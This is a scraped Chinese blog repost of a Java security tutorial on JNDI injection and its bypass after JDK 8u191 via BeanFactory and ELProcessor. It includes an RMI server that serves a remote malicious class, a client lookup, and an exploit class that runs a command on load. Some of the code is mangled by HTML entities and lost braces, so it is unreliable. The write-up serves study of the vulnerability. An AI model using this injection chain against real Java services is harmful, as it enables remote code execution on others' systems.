热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

存根|师父_[Java安全]JDK8u191之后的JNDI注入绕过(javax.el.ELProcessor依赖)

本文由编程笔记#小编为大家整理,主要介绍了[Java安全]JDK8u191之后的JNDI注入绕过(javax.el.ELProcessor依赖)相关的知识,希望对你有一定的参考价值。
本文由编程笔记#小编为大家整理,主要介绍了[Java安全]JDK8u191之后的JNDI注入绕过(javax.el.ELProcessor依赖)相关的知识,希望对你有一定的参考价值。



文章目录


  • 环境
  • Maven依赖
  • 利用分析
    • 低版本流程分析
    • JDK8u191之后的JNDI注入绕过

  • 参考文章


环境

我们知道在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了
切换到8u191之后就好了,我这里随便选择了8u201


Maven依赖

<dependency>
<groupId>org.apache.tomcatgroupId>
<artifactId>tomcat-catalinaartifactId>
<version>8.5.0version>
dependency>

<dependency>
<groupId>org.apache.elgroupId>
<artifactId>com.springsource.org.apache.elartifactId>
<version>7.0.26version>
dependency>

利用分析

要知道高版本我认为还是需要先了解低版本的利用链


低版本流程分析

在桌面启一个web服务&#xff0c;因为我桌面有恶意类

启动server端

String uri &#61; "http://127.0.0.1:8080/";
System.out.println("[*]classFactoryLocation: " &#43; uri);
Registry registry &#61; LocateRegistry.createRegistry(1099);
Reference refObj &#61; new Reference("abcdefg", "TouchFile", uri);
ReferenceWrapper refObjWrapper &#61; new ReferenceWrapper(refObj);
System.out.println("[*]Binding &#39;demo&#39; to &#39;rmi://127.0.0.1:1099/YYDS&#39;");
registry.bind("YYDS", refObjWrapper);

运行client

String uri &#61; "rmi://127.0.0.1:1099/YYDS";
Context ctx &#61; new InitialContext();
ctx.lookup(uri);

恶意类

import java.lang.Runtime;
import java.lang.Process;
public class TouchFile
static
try
Runtime rt &#61; Runtime.getRuntime();
String[] commands &#61; "calc";
Process pc &#61; rt.exec(commands);
pc.waitFor();
catch (Exception e)
// do nothing



debug看一下首先从RMI注册表中lookup查询到服务端中目标类的Reference后返回一个ReferenceWrapper_Stub类实例&#xff0c;该类实例就是客户端的存根、用于实现和服务端进行交互&#xff0c;最后调用decodeObject()函数来解析
调用getObjectInstance

继续跟进getObjectFactoryFromReference&#xff0c;从Reference中获取ObjectFactory

调用loadClass()函数来远程加载恶意类

成功弹出计算器


JDK8u191之后的JNDI注入绕过

切换版本后如果还是原来的代码

也可以看到在使用URLClassLoader加载器加载远程类之前加了个if语句检测com.sun.jndi.ldap.object.trustURLCodebase的值是否为true&#xff0c;而该设置项的值默认为false
所以大师父们解决的思路是classFactoryLocation设置为null


所以我们继续&#xff0c;发现NamingManager类的getObjectInstance()函数&#xff0c;其中调用了getObjectFactoryFromReference()函数来从Reference中获取ObjectFactory类实例
通过loadClass()函数来加载我们传入的org.apache.naming.factory.BeanFactory

再往下调用ObjectFactory接口实现类实例的getObjectInstance()函数

判断obj参数是否是ResourceRef类实例

现在我们来看看对于表达式解析的过程
首先这里获取了我们最初设置的x&#61;eval

&#61;分隔


这里是将xjavax.el.ELProcessor类的eval()方法绑定并存入hashmap


接着是多个do while语句来遍历获取ResourceRef类实例addr属性的元素&#xff0c;当获取到addrType为x的元素时退出当前所有循环

将刚才存入map的方法取出&#xff0c;并调用

细节就不扣了

弹出计算器


参考文章

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://www.cnblogs.com/zpchcbd/p/14941783.html
https://blog.csdn.net/caiqiiqi/article/details/105976072


推荐阅读
  • Spring常用注解(绝对经典),全靠这份Java知识点PDF大全
    本文介绍了Spring常用注解和注入bean的注解,包括@Bean、@Autowired、@Inject等,同时提供了一个Java知识点PDF大全的资源链接。其中详细介绍了ColorFactoryBean的使用,以及@Autowired和@Inject的区别和用法。此外,还提到了@Required属性的配置和使用。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文详细介绍了Java中vector的使用方法和相关知识,包括vector类的功能、构造方法和使用注意事项。通过使用vector类,可以方便地实现动态数组的功能,并且可以随意插入不同类型的对象,进行查找、插入和删除操作。这篇文章对于需要频繁进行查找、插入和删除操作的情况下,使用vector类是一个很好的选择。 ... [详细]
  • 在springmvc框架中,前台ajax调用方法,对图片批量下载,如何弹出提示保存位置选框?Controller方法 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 开发笔记:spring boot项目打成war包部署到服务器的步骤与注意事项
    本文介绍了将spring boot项目打成war包并部署到服务器的步骤与注意事项。通过本文的学习,读者可以了解到如何将spring boot项目打包成war包,并成功地部署到服务器上。 ... [详细]
  • 微信官方授权及获取OpenId的方法,服务器通过SpringBoot实现
    主要步骤:前端获取到code(wx.login),传入服务器服务器通过参数AppID和AppSecret访问官方接口,获取到OpenId ... [详细]
  • Java如何导入和导出Excel文件的方法和步骤详解
    本文详细介绍了在SpringBoot中使用Java导入和导出Excel文件的方法和步骤,包括添加操作Excel的依赖、自定义注解等。文章还提供了示例代码,并将代码上传至GitHub供访问。 ... [详细]
  • 本文分享了一个关于在C#中使用异步代码的问题,作者在控制台中运行时代码正常工作,但在Windows窗体中却无法正常工作。作者尝试搜索局域网上的主机,但在窗体中计数器没有减少。文章提供了相关的代码和解决思路。 ... [详细]
  • 原文地址:https:www.cnblogs.combaoyipSpringBoot_YML.html1.在springboot中,有两种配置文件,一种 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 恶意软件分析的最佳编程语言及其应用
    本文介绍了学习恶意软件分析和逆向工程领域时最适合的编程语言,并重点讨论了Python的优点。Python是一种解释型、多用途的语言,具有可读性高、可快速开发、易于学习的特点。作者分享了在本地恶意软件分析中使用Python的经验,包括快速复制恶意软件组件以更好地理解其工作。此外,作者还提到了Python的跨平台优势,使得在不同操作系统上运行代码变得更加方便。 ... [详细]
  • 本文详细介绍了Mybatis中#与$的区别及其作用。#{}可以防止sql注入,拼装sql时会自动添加单引号,适用于单个简单类型的形参。${}则将拿到的值直接拼装进sql,可能会产生sql注入问题,需要手动添加单引号,适用于动态传入表名或字段名。#{}可以实现preparedStatement向占位符中设置值,自动进行类型转换,有效防止sql注入,提高系统安全性。 ... [详细]
  • 大数据Hadoop生态(20)MapReduce框架原理OutputFormat的开发笔记
    本文介绍了大数据Hadoop生态(20)MapReduce框架原理OutputFormat的开发笔记,包括outputFormat接口实现类、自定义outputFormat步骤和案例。案例中将包含nty的日志输出到nty.log文件,其他日志输出到other.log文件。同时提供了一些相关网址供参考。 ... [详细]
author-avatar
Mdh-103_230
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有